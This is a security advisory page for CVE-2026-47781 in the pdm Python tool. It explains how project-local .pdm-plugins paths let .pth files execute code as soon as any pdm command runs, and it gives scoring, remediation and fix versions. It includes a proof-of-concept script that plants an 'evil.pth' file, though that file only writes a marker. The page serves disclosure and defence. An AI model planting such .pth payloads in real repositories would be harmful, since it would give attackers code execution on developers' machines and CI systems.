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Not in CISA KEV

CVE-2026-47781 — pdm

CVE-2026-47781 is a Code Injection vulnerability in pdm. A fix is available for pdm — see the affected versions and patch details below.

pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing

Also known asGHSA-qq6c-99pv-prvfPYSEC-2026-2863
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-47781.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk
0.00%0.23%0.46%0.69%0.1%0.2%0.2%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍pdm

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

  • Trigger does not require pdm install --plugins
  • A low-impact command such as pdm --version is sufficient
  • Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

  • src/pdm/core.py:74-82
  • src/pdm/core.py:310-333
  • src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

  • Arbitrary code execution as the invoking user
  • Potential credential theft, persistence, or workspace tampering
  • Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

  • A temporary project is created
  • An evil.pth file is placed under .pdm-plugins
  • Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

  • Base score: 8.4 (High)
  • Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

  • AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
  • AC:L: no special bypass or race is required
  • AT:N: no external precondition beyond the vulnerable workflow is required
  • PR:N: the attacker does not need privileges on the victim host
  • UI:A: the victim must actively run a pdm command in the malicious checkout
  • VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
  • SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

  • Do not auto-load project-local .pdm-plugins by default
  • Avoid site.addsitedir() for project-controlled plugin paths
  • If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
  • Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpdmall versions2.27.0pip install --upgrade 'pdm==2.27.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pdm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pdm to 2.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-47781 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## Summary PDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins. This allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout. ## Affected Behavior - Trigger does not require `pdm install --plugins` - A low-impact command such as `pdm --version` is sufficient - Impact is strongest in CI, pr
O3 Security · Impact-Aware SCA

Is CVE-2026-47781 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-47781: pdm RCE — Fixed in 2.27.0